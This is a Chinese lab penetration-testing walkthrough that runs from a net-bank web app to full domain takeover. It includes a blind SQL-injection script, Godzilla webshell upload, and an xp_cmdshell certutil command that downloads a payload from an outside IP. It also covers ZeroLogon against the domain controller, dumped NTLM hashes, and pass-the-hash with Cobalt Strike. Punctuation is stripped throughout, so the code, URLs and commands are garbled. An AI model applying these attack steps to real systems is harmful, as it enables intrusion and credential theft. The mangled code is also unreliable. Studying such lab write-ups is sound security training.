环境搭建1。项目介绍: 本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobaltstrike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网,详细介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有帮助。2。VPS映射 1。将ip映射到公网。在公网vps使用配置frp工具的frps。ini运行frps。execfrps。ini 在web1上配置frpc。ini运行frpc。execfrp。ini 成功访问到环境 http:x。x。x。x:8088login。jsp 信息收集1。端口探测 使用nmap进行端口探测,发现4444、5003、8088、8899、8878端口开放。 然后查看其详细信息。 2。网站源代码查找 发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。 然后就在github试试运气,发现了源码。 源码地址:https:github。comamateurRDnetBankSystem 发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。 3。SQL注入 然后进行登录测试,发现存在sql注入漏洞 网上银行系统Hsql注入漏洞 使用sqlmap不能进行跑出用户名和密码。 4。编写脚本进行sql注入coding:utf8importrequestspasswordurl〔http:x。x。x。x:8878adminlogin〕(http:103。121。93。206:8878adminlogin)payload0123456789abcdefghijklmnopqrstuvwxyzpasswordforiinrange(1,20):forjinpayload:expadminand(selectsubstring(password,s,1)fromAdmin)likesor1(i,j)print(正在注入)data{admin。username:exp,admin。password:aaaa,type:1}reqrequests。post(urlurl,datadata);if密码不正确inreq。text:passwordjbreakprint(password) 成功跑出密码。然后进行登录。 登录之后,寻找文件上传或者可以获取到webshell的地方,发现没有可利用点。 5。tomexamSQL注入漏洞 在另一个地址处,发现可以注册用户。然后注册用户进行登录。 登录之后发现,某处存在sql注入。 使用sqlmap进行获取用户信息。 1113999999991超级管理员adminadmin17D03DA6474CE8BEB13B01E79F789E632022040900:14:08301 621eu3eu34124DDEBABDF97C2430274823B3184D4(eu3)2014051713:58:4914 成功抓到了管理员用户和密码,然后使用md5进行解密。 成功进行登录。登录之后没有找到可getshell的地方。 6。JspxcmsSQL注入 首页发现可以注册用户和进行登录。首先搜索历史漏洞,看看有没有getshell的地方。 发现先知的大佬做过找个版本的代码审计。参考链接:https:xz。aliyun。comt10891?page1toc7。发现可以通过文件上传进行gethshell。 在之前的tomexam的数据库中,发现存在jspxcms,试试查找一下管理员的用户和信息。 使用sqlmap进行查找表、用户和吗密码。 成功发现了用户名和加密的密码。密码推断是明文密码salt然后再进行md5加密。 7。编写解密脚本 通过其源码,分析其加密方式,然后编写解密脚本。packagecom。jspxcms。importcom。jspxcms。common。security。SHA1CredentialsDimportcom。jspxcms。common。util。Eimportjava。io。Fimportjava。io。FileRimportjava。io。FileWimportjava。io。PrintWimportjava。util。SpublicclassTestmain{publicstaticvoidmain(String〔〕args)throwsException{byte〔〕saltEncodes。decodeHex(9b2b38ad7cb62fd9);SHA1CredentialsDigesttestnewSHA1CredentialsDigest();StringfileNameD:csdnpass。StringfileName2D:hashpassword2。try(ScannerscnewScanner(newFileReader(fileName))){while(sc。hasNextLine()){Stringlinesc。nextLine();StringencPasstest。digest(line,salt);FilefnewFile(fileName2);FileWriterfwnewFileWriter(f,true);PrintWriterpwnewPrintWriter(fw);pw。println(lineencPass);pw。close();}}}} 8。登录jspxcms后台getshell 使用管理员用户和解密出来的密码,成功进入管理员后台。 使用哥斯拉生成一个木马,然后使用jar,打包成为war包。 9。编写目录穿越脚本 根据先知社区的大佬提出的方法,编写目录穿越脚本。 成功进行上传。 10。获取webshell 使用哥斯拉连接webshell,成功执行命令。 内网渗透:1。frp反向代理上线CS 首先配置内网cobaltstrike内网上线 在kali启动cs服务端, 查看其端口 配置frp的frps。ini信息。 2。CS上线 cs生成监听。 然后上传。exe文件进行上线。 成功上线。 3。内网信息收集 使用shelliponfig收集信息。 根据搭建的拓扑环境,然后测试一下与其他域内主机的连通性。 查看计算机名。 使用netview查找域内其它主机,发现不能找到其他主机。 4。开启代理进行端口扫描 查看server2012的IP地址。 5。域内主机端口扫描 发现存在1433Mysql的端口,尝试进行弱口令的暴力破解。 最好成功爆破出账号和密码。 6。mssqlclient登录Mssql服务器 使用mysql用户和密码进行登录。 7。xpcmshell进行getshell help查看可以执行那些命令。 开启xpcmdshell,然后进行信息收集。 使用certutil远程下载之前的木马,然后进行上线 xpcmdshellcertutilurlcachesplitfhttp:39。103。134。134artifact。exe c:windowstempartifact。exe 8。使用SweetPotato(ms16075)提权 上线之后,进行简单的信息收集。 然后使用第三方插件,利用SweetPotato(ms16075)提权对其进行提权。 成功提权。 内网域渗透1。内网域信息收集 使用netview查看域内主机。 使用hashdump进行抓取一些用户的hash值。 查看主机ip地址。 查看域控的Ip地址,和域控的计算机名。 2。ZeroLogonCVE20201472获取域控权限 编译zerolgin的脚本成为exe,然后进行测试,发现主机存在该漏洞。 将它设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0 3。配置代理,登录域控 配置kali的代理地址,然后进行端口扫描,测试代理是否连接。 获取域控的hash值。 Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d::: sec123。cnkcnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16::: AD01:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SERVER2012:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95::: 然后进行登录域控。 4。PTH上线CS 关闭防火墙,利用pth进行上线cs。 成功执行命令。 生成tcp监听,然后jump到域控主机。 5。恢复密码、原hash。 恢复密码。 使用secretsdump。py获取其hash值。 python3secretsdump。pysamsam。savesystemsystem。savesecurity security。saveLOCA 使用:proxychains4python3reinstalloriginalpw。pyad0110。10。10。139 fb61e3c372e666adccb7a820aa39772f恢复域控密码。成功恢复其密码。 靶机到这里就结束了。 最后,成功拿下整个域控。 总结: 该项目从环境搭建,使用vps将web1主机映射到公网上。通过信息收集,搜索源码,然后分析源码,进行sql注入。编写sql注入脚本进行注入,通过分析登录端的源码编写加密脚本,在编写目录穿越脚本成功获取webshell。在内网渗透中,使用frp反向代理上线cs,使用xpcmdshell进行getshell。在域渗透中使用CVE20201472获取域控权限。这台靶机中没装杀软,但是从外网打点到内网渗透,再到域渗透中的知识面是非常广的。 申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关本文原创作者:vghost